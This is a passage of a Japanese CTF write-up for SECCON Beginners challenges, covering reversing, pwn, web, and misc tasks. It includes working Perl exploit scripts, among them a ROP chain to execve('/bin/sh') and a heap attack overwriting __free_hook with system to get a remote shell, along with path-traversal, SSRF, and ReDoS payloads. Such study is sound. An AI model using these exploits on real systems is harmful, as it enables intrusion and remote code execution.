r1 = r7 + 472 - 4;
r3 = (unsigned int)"%s": /* 0xB8E + 0x28A */
printf(r3, r1);
/* b92 */
r3 = r7 + 88 - 24;
r2 = (unsigned int)array_0EA4; /* 0xB9E + 0x306 */
/* b9c */
memcpy(r3, r2, 244);
/* ba8 */
r3 = r7 + 472 - 4;
r3 = strlen(r3);
if (r3 != 61) {
/* bba */
r3 = r7 + 312 - 4;
r2 = (unsigned int)"Incorrect password.\n"; /* 0xBC6 + 0x3D2 */
/* bc4 */
r4 = r3:
r5 = r2;
/* bc8 */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
r2 = *(unsigned int*)r5; r5 += 4;
r3 = *(unsigned int*)r5; r5 += 4;
/* bca */
*(unsigned int*)r4 = r0; r4 += 4;
*(unsigned int*)r4 = r1; r4 += 4;
*(unsigned int*)r4 = r2; r4 += 4;
*(unsigned int*)r4 = r3; r4 += 4;
/* bcc */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
/* bd0 */
*(unsigned int*)r4 = r0;
r4 += 4;
*(unsigned char*)r4 = r1;
/* bd6 */
r3 = r7 + 312 - 4;
r2 = strlen(r3);
/* be4 */
r1 = r7 + 312 - 4;
r0 = r7 + 24 - 8;
send(*(unsigned int*)r0, r1, r2, 0);
/* bf8 */
r3 = r7 + 24 - 8;
close(*(unsigned int*)r3);
}
/* c04 */
r3 = r7 + 24 - 16;
*(unsigned int*)r3 = 0;
/* c9c */
for (;;) {
r3 = r7 + 24 - 16;
r3 = *(unsigned int*)r3;
if (r3 > 60) break;
/* c10 */
r3 = r7 + 472 - 4;
r2 = r7 + 24 - 16;
r2 = *(unsigned int*)r2;
r3 += r2;
r3 = *(unsigned char*)r3;
/* c22 */
r1 = r3 ^ 0x53;
/* c2a */
r3 = r7 + 88 - 24;
r2 = r7 + 24 - 16;
r2 = *(unsigned int*)r2;
r3 = *(unsigned int*)(r3 + (r2 << 2));
if (r1 != r3) {
/* c40 */
r3 r7 + 312 - 4;
r2 = (unsigned int)"Incorrect password.\n"; /* 0xC4C + 0x34C */
/* c4a */
r4 = r3;
r5 = r2;
/* c4e */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
r2 = *(unsigned int*)r5; r5 += 4;
r3 = *(unsigned int*)r5; r5 += 4;
/* c50 */
*(unsigned int*)r4 = r0; r4 += 4;
*(unsigned int*)r4 = r1; r4 += 4;
*(unsigned int*)r4 = r2; r4 += 4;
*(unsigned int*)r4 = r3; r4 += 4;
/* c52 */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
/* c56 */
*(unsigned int*)r4 = r0;
r4 += 4;
*(unsigned char*)r4 = r1;
/* c5c */
r3 = r7 + 312 - 4;
r2 = strlen(r3);
/* c6a */
r1 = r7 + 312 - 4;
r0 = r7 + 24 - 8;
send(*(unsigned int*)r0, r1, r2, 0);
/* c7e */
r3 = r7 + 24 - 8;
close(*(unsigned int*)r3);
}
/* c8a */
r3 = r7 + 24 - 16;
r2 = r7 + 24 - 16;
r2 = *(unsigned int*)r2;
r2 += 1;
*(unsigned int*)r3 = r2;
}
/* ca8 */
r3 = r7 + 312 - 4;
r2 = (unsigned int)"Correct password!!!\n"; /* 0xCB4 + 0x2FC */
/* cb2 */
r4 = r3;
r5 = r2;
/* cb6 */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
r2 = *(unsigned int*)r5; r5 += 4;
r3 = *(unsigned int*)r5; r5 += 4;
/* cb8 */
*(unsigned int*)r4 = r0; r4 += 4;
*(unsigned int*)r4 = r1; r4 += 4;
*(unsigned int*)r4 = r2; r4 += 4;
*(unsigned int*)r4 = r3; r4 += 4;
/* cba */
r0 = *(unsigned int*)r5; r5 += 4;
r1 = *(unsigned int*)r5; r5 += 4;
/* cbe */
*(unsigned int*)r4 = r0;
r4 += 4;
*(unsigned char*)r4 = r1;
/* cc4 */
r3 = r7 + 312 - 4;
r2 = strlen(r3);
/* cd2 */
r1 = r7 + 312 - 4;
r0 = r7 + 24 - 8;
send(*(unsigned int*)r0, r1, r2, 0);
/* ce6 */
r3 = r7 + 24 - 8;
close(*(unsigned int*)r3);
/* cf2 */
}
}
これに基づき、もう少しわかりやすくすると、以下のようになった。
firm-kakikudasi-2.c
firm-kakikudasi-2.c
unsigned int embed_data[] = {
0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3A, 0x63,
0x27, 0x0C, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36,
0x0C, 0x35, 0x3A, 0x21, 0x3E, 0x24, 0x67, 0x21,
0x36, 0x0C, 0x32, 0x3D, 0x32, 0x62, 0x2A, 0x20,
0x3A, 0x60, 0x0C, 0x21, 0x36, 0x25, 0x60, 0x32,
0x62, 0x20, 0x0C, 0x32, 0x0C, 0x3F, 0x63, 0x27,
0x0C, 0x3C, 0x35, 0x0C, 0x66, 0x36, 0x30, 0x21,
0x36, 0x64, 0x20, 0x2E, 0x59
};
int main(void) {
char buffer_472_4[4096]; /* r7 + 472 - 4 */
char buffer_376_4[1024]; /* r7 + 376 - 4 */
char buffer_344_12[1024]; /* r7 + 344 - 12 */
char buffer_312_4[1024]; /* r7 + 312 - 4 */
int buffer_88_24[256]; /* r7 + 88 - 24 */
char* file_data; /* r7 + 56 - 28 */
struct bind_data_struct {
unsigned short v0, port;
unsigned int v1;
unsigned int unused[2];
} bind_data; /* r7 + 56 - 24 */
char ac_addr[16]; /* r7 + 56 - 8 */
int ac_addrlen; /* r7 + 24 - 20 */
int i; /* r7 + 24 - 16 */
int sock; /* r7 + 24 - 12 */
int ac_sock; /* r7 + 24 - 8 */
FILE* fp; /* r7 + 24 - 4 */
int file_size; /* r7 + 24 */
int len;
int tmp1, tmp2;
/* 90a */
sock = socket(2, 1, 0);
/* 920 */
if (sock < 0) {
perror("Failed to set socket.");
return 1;
}
/* 93a */
bind_data.v0 = 2;
bind_data.port = htons(8080);
bind_data.v1 = 0;
if (bind(sock, &bind_data, 16) != 0) {
perror("Failed to bind.");
return 1;
}
/* 98a */
if (listen(sock, 5) != 0) {
perror("Failed to listen.");
return 1;
}
/* 9ac */
for (;;) {
/* 9ac */
ac_addrlen = 16;
ac_sock = accept(sock, ac_addr, &ac_addrlen);
/* 9d6 */
fp = fopen("ascii.txt", "r");
/* 9ee */
if (fp == 0) {
perror("Failed to read file.");
close(ac_sock);
return 1;
}
/* a14 */
fseek(fp, 0, 2);
file_size = ftell(fp);
fseek(fp, 0, 0):
/* a46 */
file_data = calloc(file_size, 1);
if (file_data == 0) {
perror("Failed to read file.");
close(ac_sock);
return 1;
}
/* a84 */
fread(file_data, 1, file_size, fp);
fclose(fp);
/* aac */
len = strlen(file_data);
send(ac_sock, file_data, len, 0);
free(file_data);
/* adc */
memcpy(buffer_376_4, "This is a IoT device made by ctf4b networks. Password authentication is required to operate.\n");
len = strlen(buffer_376_4);
send(ac_sock, buffer_376_4, len, );
/* b14 */
memcpy(buffer_344_12, "Input password (password is FLAG) > ", 37);
/* b34 */
len = strlen(buffer_344_12);
send(ac_sock, buffer_344_12, len, 0);
/* b56 */
memset(buffer_472_4, 0, 4096);
recv(ac_sock, buffer_472_4, 4096, 0);
printf("%s", buffer_472_4);
/* b92 */
memcpy(buffer_88_24, embed_data, 244);
if (strlen(buffer_472_4) != 61) {
/* bba */
memcpy(buffer_312_4, "Incorrect password.\n", 21);
len = strlen(buffer_312_4);
send(ac_sock, buffer_312_4, len, 0);
close(ac_sock);
}
/* c04 */
for (i = 0; i <= 60; i++) {
/* c10 */
tmp1 = buffer_472_4[i] ^ 0x53;
tmp2 = buffer_88_24[i];
if (tmp1 != tmp2) {
/* c40 */
memcpy(buffer_312_4, "Incorrect password.\n", 21);
len = strlen(buffer_312_4);
send(ac_sock, buffer_312_4, len, 0);
close(ac_sock);
}
}
/* cba */
memcpy(buffer_312_4, "Correct password!!!\n", 21);
len = strlen(buffer_312_4);
send(ac_sock, buffer_312_4, len, 0);
close(ac_sock);
}
}
肝心なのはアドレス0xc04からのループであり、ここで入力に固定の値をxorし、
あらかじめ用意された配列の要素と比較している。
そこで、これに当てはまる入力を以下のプログラムで求めることで、flagが得られた。
get.py
get.py
embed_data = [
0x30, 0x27, 0x35, 0x67, 0x31, 0x28, 0x3A, 0x63,
0x27, 0x0C, 0x37, 0x36, 0x25, 0x62, 0x30, 0x36,
0x0C, 0x35, 0x3A, 0x21, 0x3E, 0x24, 0x67, 0x21,
0x36, 0x0C, 0x32, 0x3D, 0x32, 0x62, 0x2A, 0x20,
0x3A, 0x60, 0x0C, 0x21, 0x36, 0x25, 0x60, 0x32,
0x62, 0x20, 0x0C, 0x32, 0x0C, 0x3F, 0x63, 0x27,
0x0C, 0x3C, 0x35, 0x0C, 0x66, 0x36, 0x30, 0x21,
0x36, 0x64, 0x20, 0x2E, 0x59
]
ans = ""
for e in embed_data:
ans += chr(e ^ 0x53)
print(ans)
ctf4b{i0t_dev1ce_firmw4re_ana1ysi3_rev3a1s_a_l0t_of_5ecre7s}
pwnable
rewriter
TCPサーバーの接続情報と、そこで動いていると考えられるプログラム(C言語のソースコードとELFファイル)が与えられた。
C言語のソースコードを読むと、書き込むアドレスと値を指定して1回long
型の値を書き込めるようになっていた。
また、指定する前にスタックの様子をわかりやすく図示してくれる。
さらに、execve
により/bin/cat flag.txt
を実行するwin
関数がある。
まず、TDM-GCCのobjdumpによりELFファイルを逆アセンブルし、win
関数のアドレスを求める。
そして、書き込み先のアドレスを図中のsaved ret addr
の位置、
値をwin
関数の冒頭のpush
命令の次のアドレスである0x4011fb
とした。
push
命令を飛ばすのは、リターンアドレスを利用して関数に制御を移すにあたってずれる
スタックのアラインメントを調整するためである。
00000000004011f6 <win>:
4011f6: f3 0f 1e fa endbr64
4011fa: 55 push %rbp
4011fb: 48 89 e5 mov %rsp,%rbp
4011fe: 48 83 ec 20 sub $0x20,%rsp
これにより、flagが得られた。
(よく見たら、図中のsaved ret addrは正しいようだが、targetとvalueが逆のような気が…)
実行例
[Addr] |[Value]
====================+===================
0x00007ffdf1587b70 | 0x0000000000000000 <- buf
0x00007ffdf1587b78 | 0x0000000000000000
0x00007ffdf1587b80 | 0x0000000000000000
0x00007ffdf1587b88 | 0x0000000000000000
0x00007ffdf1587b90 | 0x0000000000000000 <- target
0x00007ffdf1587b98 | 0x0000000000000000 <- value
0x00007ffdf1587ba0 | 0x0000000000401520 <- saved rbp
0x00007ffdf1587ba8 | 0x00007f2207b26bf7 <- saved ret addr
0x00007ffdf1587bb0 | 0x0000000000000001
0x00007ffdf1587bb8 | 0x00007ffdf1587c88
Where would you like to rewrite it?
> 0x00007ffdf1587ba8
0x00007ffdf1587ba8 = 0x4011fb
[Addr] |[Value]
====================+===================
0x00007ffdf1587b70 | 0x6266313130347830 <- buf
0x00007ffdf1587b78 | 0x623738353166000a
0x00007ffdf1587b80 | 0x00000000000a3861
0x00007ffdf1587b88 | 0x0000000000000000
0x00007ffdf1587b90 | 0x00000000004011fb <- target
0x00007ffdf1587b98 | 0x00007ffdf1587ba8 <- value
0x00007ffdf1587ba0 | 0x0000000000401520 <- saved rbp
0x00007ffdf1587ba8 | 0x00000000004011fb <- saved ret addr
0x00007ffdf1587bb0 | 0x0000000000000001
0x00007ffdf1587bb8 | 0x00007ffdf1587c88
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
ctf4b{th3_r3turn_4ddr355_15_1n_th3_5t4ck}
beginners_rop
TCPサーバーの接続情報と、そこで動いていると考えられるプログラムのファイル一式が与えられた。
与えられたC言語のソースコードを読むと、main
関数はgets
してそれをputs
するだけのシンプルなものであった。
また、配布ファイル中にlibc-2.27.so
があることから、これを活用することが求められそうだ。
これを活用するため、まずはlibcのメモリ上の位置を特定したい。
メインのELFファイルのTDM-GCCのobjdumpによる逆アセンブルの結果を見ると、
0000000000401080 <alarm@plt>:
401080: f3 0f 1e fa endbr64
401084: f2 ff 25 95 2f 00 00 bnd jmpq *0x2f95(%rip) # 404020 <alarm@GLIBC_2.2.5>
40108b: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
という部分があり、0x404020番地にalarm
関数の位置が格納されそうである。
また、libc-2.27.so
のTDM-GCCのobjdumpによる逆アセンブルの結果より、alarm
関数の仮の位置もわかる。
00000000000e4610 <alarm@@GLIBC_2.2.5>:
e4610: b8 25 00 00 00 mov $0x25,%eax
e4615: 0f 05 syscall
そこで、まずは以下のROP (Return-Oriented Programming) により、
puts
関数でalarm
関数の位置を出力させた後、もう一度main
関数を実行させるようにした。
0x401283 # pop rdi; ret
0x404020 # alarm
0x401070 # puts
0x401196 # main
スタックのアラインメントは動かなかったら考えようと思ったが、動いたのでヨシ。
これでalarm
関数のメモリ上の位置が求まるので、仮の位置を引くことでその差も求まる。
この情報と、libc-2.27.so
からバイナリエディタで検索して求めた各種gadgetの場所の情報をもとに、
まずgets
関数で適当な場所に/bin/sh
を書き込ませ、それを用いてexecve("/bin/sh", 0, 0)
を実行させた。
0x44c58 + offset # pop rdi; ret
0x404018 # "/bin/sh"を書き込ませる場所
0x401090 # gets
0x43ae8 + offset # pop rax; ret
59
0x44c58 + offset # pop rdi; ret
0x404018 # "/bin/sh"
0x23eea + offset # pop rsi; ret
0
0x01b96 + offset # pop rdx; ret
0
0xd2745 + offset # syscall
attack.pl
attack.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"beginners-rop.quals.beginners.seccon.jp",
PeerPort=>4102, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);
my $alarm_addr = 0xe4610;
my $binsh_buf = 0x404018;
my $query = ("a" x 0x100) . "01234567" . pack("Q*",
0x401283, # pop rdi; ret
0x404020, # alarm
0x401070, # puts
0x401196 # main
) . "\n";
print $sock $query;
my $l1 = <$sock>;
while (index($l1, "\n") < 0) { $l1 .= <$sock>; }
my $addr_str = <$sock>;
while (index($addr_str, "\n") < 0) { $addr_str .= <$sock>; }
chomp($addr_str);
my $addr = unpack("Q", $addr_str . ("\x00" x (8 - length($addr_str))));
printf("addr = 0x%x\n", $addr);
my $offset = $addr - $alarm_addr;
my $query2 = ("a" x 0x100) . "01234567" . pack("Q*",
0x44c58 + $offset, # pop rdi; ret
$binsh_buf,
0x401090, # gets
0x43ae8 + $offset, # pop rax; ret
59,
0x44c58 + $offset, # pop rdi; ret
$binsh_buf,
0x23eea + $offset, # pop rsi; ret
0,
0x1b96 + $offset, # pop rdx; ret
0,
0xd2745 + $offset, # syscall
) . "\n";
print $sock $query2;
my $l2 = <$sock>;
while (index($l2, "\n") < 0) { $l2 .= <$sock>; }
print $sock "/bin/sh\n";
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
while (<$sock>) { print $_; }
close($sock);
ctf4b{H4rd_ROP_c4f3}
uma_catch
TCPサーバーの接続情報と、そこで動いていると考えられるプログラムのファイル一式が与えられた。
このプログラムは、以下の操作ができる。
- ウマを確保(
malloc()
)する
- ウマに名前を付ける (構造体の先頭部分への書き込み)
- ウマの名前を
printf()
の第一引数に渡して出力する
- ウマを踊らせる (構造体に書き込まれた関数の実行)
- ウマを開放(
free()
)する
どうやら、こんなこともあろうかと予習しておいたコレが役に立ちそうだ。
free()した場所への書き込みで、malloc()の結果を操作する - Qiita
まずはウマの名前として%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p
を入力して出力させ、様子を見てみた。
すると、出力は以下のようになった。 (行番号と改行を補っている)
1: 0xffffffda
2: (nil)
3: (nil)
4: 0x7ffdf8afa091
5: (nil)
6: 0x7ffdf8afa0f0
7: 0x55df275eb3cf
8: 0x7ffdf8afa1d0
9: 0x300000000
10: 0x55df275eb7f0
11: 0x7f3c62d6cbf7
12: 0x1
13: 0x7ffdf8afa1d8
14: 0x100008000
15: 0x55df275eb2c9
この中で、メインのプログラムの近くと考えられる0x55~系ではなく、かつ他の0x7f~系より少し小さい、
11番目の0x7f3c62d6cbf7
がどうやらlibcの位置の特定に使えるmain
のリターンアドレスのようである。
そして、今回問題を解いていくにあたって得た経験則として、
仮位置とメモリ上の位置の十六進数の下3桁が一致することが多いようなので、
TDM-GCCのobjdumpによるlibc-2.27.so
の逆アセンブル結果中の__libc_start_main@@GLIBC_2.2.5
の中で、
このリターンアドレスと下3桁が一致する仮位置を持つ戻り先である0x21bf7が、
このリターンアドレスに対応すると推測できた。
21bdd: 48 8b 05 c4 92 3c 00 mov 0x3c92c4(%rip),%rax # 3eaea8 <__environ@@GLIBC_2.2.5-0x31f0>
21be4: 48 8b 74 24 08 mov 0x8(%rsp),%rsi
21be9: 8b 7c 24 14 mov 0x14(%rsp),%edi
21bed: 48 8b 10 mov (%rax),%rdx
21bf0: 48 8b 44 24 18 mov 0x18(%rsp),%rax
21bf5: ff d0 callq *%rax
21bf7: 89 c7 mov %eax,%edi
21bf9: e8 42 16 02 00 callq 43240 <exit@@GLIBC_2.2.5>
これに基づいてlibcのオフセットを特定できたら、
次にこの情報と、予習によって学んだmalloc()
が返すアドレスを設定する方法を用い、
malloc()
に__free_hook
のアドレスを返させることで、__free_hook
に値を書き込めるようにした。
予習によって学んだmalloc()
が返すアドレスを設定する方法は、以下のようなものである。
-
malloc()
で同じ大きさの領域を2個確保する
- それらの領域を
free()
で開放する
- 2番目に開放した領域に、
malloc()
に返させたいアドレスを書き込む
-
malloc()
で同じ大きさの領域を2個確保する → 2個目として書き込んだアドレスが返る
今回の場合、確保する大きさは構造体の大きさで固定であり、
確保・開放・(開放した領域を含む)書き込みが十分な自由度で行えるので、この操作ができ、実際に有効であった。
__free_hook
の仮位置は、TDM-GCCのobjdumpによるlibc-2.27.so
の逆アセンブル結果に
90e79: 48 8b 05 70 a0 35 00 mov 0x35a070(%rip),%rax # 3eaef0 <__free_hook@@GLIBC_2.2.5-0x29f8>
という形で現れており、0x3eaef0 + 0x29f8 = 0x3ed8e8
が__free_hook
の仮位置である。
__free_hook
に書き込めるようにしたら、これを利用して__free_hook
をsystem
関数に設定した。
具体的には、__libc_system@@GLIBC_PRIVATE
関数の位置を書き込んだ。
最後に、適当なウマの名前として"/bin/sh"
を設定し、そこに対してfree()
を実行すれば、
__free_hook
の設定によりsystem("/bin/sh")
を実行することができる。
今回はウマの名前を受け取るのにfgets()
関数が使われており、入力した改行がバッファに入ってしまうので、
/bin/sh
と改行の間にナル文字を入れるのがポイントであった。
attack.pl
attack.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"uma-catch.quals.beginners.seccon.jp",
PeerPort=>4101, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);
sub read_to_prompt {
my $ret = "";
my $rep = 0;
while (index($ret, "> ") < 0) {
my $readlen = read($sock, $ret, 1, length($ret));
unless(defined($readlen)) {
print $ret;
die "socket read error $!\n";
}
if ($readlen == 0) {
sleep 1;
$rep++;
if ($rep > 5) {
print $ret;
die "socket read timeout!\n";
}
}
}
#print $ret;
return $ret;
}
&read_to_prompt();
# obtain libc address offset by printf()
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "0"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "0"; &read_to_prompt(); # index
print $sock "\%p\%p\%p\%p\%p\%p\%p\%p\%p\%p\%p\n"; &read_to_prompt(); # name
print $sock "3"; &read_to_prompt(); # show hourse
print $sock "0"; # index
my $libc_addr_str = &read_to_prompt();
unless ($libc_addr_str =~ /0x([0-9a-fA-F]+)\n/) {
close($sock);
die "invalid address\n";
}
my $libc_addr = hex($1);
my $libc_offset = $libc_addr - 0x21bf7;
printf("libc_addr = %x\n", $libc_addr);
# 2 malloc() -> 2 free() -> 2 malloc() magic to set address returned by malloc()
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "1"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "2"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "5"; &read_to_prompt(); # release hourse
print $sock "1"; &read_to_prompt(); # index
print $sock "5"; &read_to_prompt(); # release hourse
print $sock "2"; &read_to_prompt(); # index
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "2"; &read_to_prompt(); # index
print $sock (pack("Q", 0x3eaef0 + 0x29f8 + $libc_offset) . "\n"); &read_to_prompt(); # __free_hook
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "3"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
print $sock "1"; &read_to_prompt(); # catch hourse
print $sock "4"; &read_to_prompt(); # index
print $sock "bay"; &read_to_prompt(); # color
# set __free_hook to __libc_system
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "4"; &read_to_prompt(); # index
print $sock (pack("Q", 0x4f550 + $libc_offset) . "\n"); &read_to_prompt(); # __libc_system
# set string for system()
print $sock "2"; &read_to_prompt(); # name hourse
print $sock "3"; &read_to_prompt(); # index
print $sock "/bin/sh\0\n"; &read_to_prompt(); # address
# call system("/bin/sh")
print $sock "5"; &read_to_prompt(); # release hourse
print $sock "3"; # index
# shell commands
print $sock "ls\n";
print $sock "cat flag.txt\n";
print $sock "exit\n";
# cleanup
print $sock "6"; # exit
print &read_to_prompt();
close($sock);
ctf4b{h34p_15_4ls0_m3m0ry_ju5t_l1k3_st4ck}
2021_emulator
TCPサーバーの接続情報と、そこで動いていると考えられるプログラムのファイル一式が与えられた。
プログラムは、Intel 8080の命令のサブセットを読み込み、実行するものである。
(このWebページは問題文で紹介されていたものである)
.h
ファイルに直接関数の定義を書く悪い設計。関数の定義は.c
に書いてヘッダには宣言だけを置くべし。
レジスタの値の配列、メモリの値の配列、命令を実行する関数の配列が構造体にまとまっており、
命令はこの構造体へのポインタを関数に渡して実行する。
レジスタはそれぞれ8ビットであり、メモリの値の配列は0x4000バイト確保されている。
さて、このプログラムで実行できる命令の中に、MVI
というものがある。
これは、指定したレジスタまたはメモリ(アドレスはH:L
レジスタで指定)に、指定した即値を書き込めるものである。
今回の実装では、メモリにアクセスする際にアドレスのチェックやマスクをしていないため、
配列は0x4000バイトしか無いのに、0xffffバイト目までアクセスが可能である。
これらを踏まえると、MVI
命令を利用し、
- メモリへの書き込みを利用し、命令を実行する関数の配列に
system
関数を実行できるアドレスを書き込む
- レジスタへの書き込みを利用し、構造体の先頭に
"/bin/sh"
を書き込む
- アドレスを書き換えた命令を実行することで、
system("/bin/sh")
の実行となる
という手順を踏むことで、シェルを実行することができる。
なお、レジスタは12個であるため、
メモリの値の配列と命令を実行する関数の配列の間には4バイトのパディングがあるようであった。
TDM-GCCのobjdumpで逆アセンブルした結果より、0x4010d0が「system
関数を実行できるアドレス」となる。
00000000004010d0 <system@plt>:
4010d0: f3 0f 1e fa endbr64
4010d4: f2 ff 25 45 3f 00 00 bnd jmpq *0x3f45(%rip) # 405020 <system@GLIBC_2.2.5>
4010db: 0f 1f 44 00 00 nopl 0x0(%rax,%rax,1)
具体的には、以下の命令列でこの手順を実現できる。
RET
命令は、プログラムに命令列の読み取りを終了させるために置いている。
MVI H, 0x40 <26><40>
MVI L, 0x04 <2E><04>
MVI M, 0x20 <36><D0>
MVI L, 0x05 <2E><05>
MVI M, 0x50 <36><10>
MVI A, 0x2F <3E><2F>
MVI B, 0x62 <06><62>
MVI C, 0x69 <0E><69>
MVI D, 0x6E <16><6E>
MVI E, 0x2F <1E><2F>
MVI H, 0x73 <26><73>
MVI L, 0x68 <2E><68>
NOP <00>
RET <C9>
これらを繋げた命令列
<26><40><2E><04><36><D0><2E><05><36><10><3E><2F><06><62><0E><69><16><6E><1E><2F><26><73><2E><68><00><C9>
をTCP/IPテストツールで送信し、
シェルでcat flag.txt
コマンドを実行することで、flagが得られた。
ctf4b{Y0u_35c4p3d_fr0m_3mul4t0r}
web
osoba
WebページのURLと、tar.gzファイルが与えられた。
また、問題文より、
フラグはサーバの /flag
にあります!
とのことである。
指定のWebページに行き、適当なリンクをクリックすると、
https://osoba.quals.beginners.seccon.jp/?page=public/wip.html
のようなURLになった。そこで、これを
https://osoba.quals.beginners.seccon.jp/?page=public/../../../flag
と書き換えてアクセスすることで、flagが得られた。
開始直後Access Deniedになったこともあり、tar.gzファイルは参照しなかった。
ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen}
Werewolf
WebページのURLと、そこで動いていると思われるPythonのソースコードが与えられた。
プログラムは、POSTリクエストがあった場合、
-
player = Player()
オブジェクトを作る
- フォームの情報に基づき、
player.__dict__
の要素に代入を行う
-
player.role == 'WEREWOLF'
となっていれば、flagを出力する
となっていた。
このplayer.role
はself.__role
を返すプロパティ関数であり、
self.__role
はオブジェクトの初期化(__init__
)時に適当に初期化される。
さらに、このオブジェクトのコピーをPythonのインタラクティブモードにコピペして試してみると、p.__dict__
は
{'name': None, 'color': None, '_Player__role': 'FORTUNE_TELLER'}
のようになっており、p.__dict__['_Player__role']
を書き換えれば良さそうであることが読み取れた。
Webページのフォームにはテキストの入力欄があるので、
そこのname
を開発者ツールで_Player__role
に書き換え、WEREWOLF
と入力して送信することで、flagが得られた。
ctf4b{there_are_so_many_hackers_among_us}
check_url
WebページのURLと、そこで動いていると考えられるPHPのソースコードが与えられた。
このプログラムは、指定したURLにcurlのライブラリでアクセスするが、
URLのうち半角英数字、/
、:
以外はオバケの絵文字に置き換えるようになっていた。
さらに、URLにlocalhost
またはapache
が入っている場合は弾くようになっていた。
また、$_SERVER["REMOTE_ADDR"] === "127.0.0.1"
のとき、flagを出力するようになっていた。
問題jsonで使ったヘッダX-Forwarded-For
を試してみたが、効果はみられなかった。
IPアドレスは数値でも表現できた気がしたので、http://2130706433/
を試したところ、
Bad Requestの画面が表示された。
(他の無効なURLだとそもそも画面が表示されなかったので、これは大きな一歩である)
そこでこのhttp://2130706433/
でググったところ、
127.0.0.1(localhost)を一番面白く表記できた奴が優勝 - Qiita
が見つかった。
ここにあったhttp://0x7F000001/
を入れることで、flagを得ることができた。
ctf4b{5555rf_15_53rv3r_51d3_5up3r_54n171z3d_r3qu357_f0r63ry}
json
WebページのURLと、そこで動いていると考えられるプログラムなどのファイル一式が与えられた。
Webページには、
このページはローカルネットワーク(192.168.111.0/24)内の端末からのみ閲覧できます。
と表示されていた。
配布されたファイル中のnginx/default.conf
を見ると
location / {
proxy_pass http://bff:8080;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
という記述があったので、Firefoxの開発者ツールの「編集して再送信」で
X-Forwarded-For: 192.168.111.0
というヘッダを追加して再送信してみたところ、この制限を突破できた。
表示されたページでは、flagを含む数種類の情報を得られる感じになっていた。
POSTリクエストで
{"id":0}
のような形式のボディーを送信することで、情報を選択して得ることができた。
しかし、flagを選択するために
{"id":2}
を送信すると、
It is forbidden to retrieve Flag from this BFF server.
と出てしまった。
詳しく見てみると、リクエストを受け付けるbff/main.go
では
json.Unmarshal(body, &info)
を用いてIDをチェックし、弾いている一方、情報を返すapi/main.go
では
jsonparser.GetInt(body, "id")
を用いてIDを取得している。
詳しい理由はわからないが、
{"id":2, "id":0}
というボディーを送信することで、flagが得られた。
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck}
misc
git-leak
.git
ディレクトリを含むファイル一式が与えられた。
後輩が誤って機密情報をコミットしてしまったらしいです。ひとまずコミットを上書きして消したからこれで大丈夫ですよね?
とのことなので、とりあえずgit reflog
して、左端のIDを上からgit diff
に入れていったところ、
git diff 7387982
でflagが出てきた。
ctf4b{0verwr1te_1s_n0t_c0mplete_1n_G1t}
Mail_Address_Validator
TCPサーバーの接続情報と、そこで動いていると考えられるRubyのソースコードが与えられた。
プログラムは、入力が正規表現
pattern = /\A([\w+\-].?)+@[a-z\d\-]+(\.[a-z]+)*\.[a-z]+\z/i
に当てはまるかをチェックし、チェックが5秒のタイムアウトに引っかかればflagが出力されるものであった。
- アルファベットが多くあった後、
.
を入れて手戻りを多く発生させたら時間がかかるかな
- 時間いっぱいくらい大量に投げつければいいかな
と思い、とりあえず少ない個数で試した結果、それでflagが得られた。
attack.pl
attack.pl
#!/usr/bin/perl
use strict;
use warnings;
use IO::Socket;
my $sock = new IO::Socket::INET(PeerAddr=>"mail-address-validator.quals.beginners.seccon.jp",
PeerPort=>5100, Proto=>"tcp");
unless ($sock) { die "socket error $!\n"; }
binmode($sock);
print $sock "-\@";
my $data = "a" x 10000;
for (my $i = 0; $i < 10; $i++) {
print $sock $data;
print $sock ".";
}
print $sock "a\n";
while (<$sock>) { print $_; }
close($sock);
ctf4b{1t_15_n0t_0nly_th3_W3b_th4t_15_4ff3ct3d_by_ReDoS}
fly
ウディタ製っぽいゲームのファイル一式が与えられた。
ゲームを起動すると、以下のような画面になった。
以降、Cheat Engineでアタッチして解析と攻撃を行った。
まず、矢印キーでキャラクターを動かせるが、壁の外には出られないようなので、座標を操作して脱出することを狙った。
- Scan Type を Unknown initial value にして、First Scan を押す
- キャラクターをちょっと左に動かす
- Scan Type を Decreased value にして、Next Scan を押す
- 2と3を数回繰り返す
これにより、キャラクターのx座標がGame.exe+6861B8 (00A861B8)
に入っていることがわかった。
この値を40にすることで、キャラクターを壁の外に出すことができた。
フィールドにはctf4b{}
と書かれており、{
と}
の間に青い階段のような模様があった。
しかし、この青い階段のような模様に触っても何も起きなかった。
また、初期位置の壁の近くにあった赤い階段のような模様に触ると、以下のような画面になった。
この画面の左上の階段のような模様に触ることで、元の画面に戻ることができた。
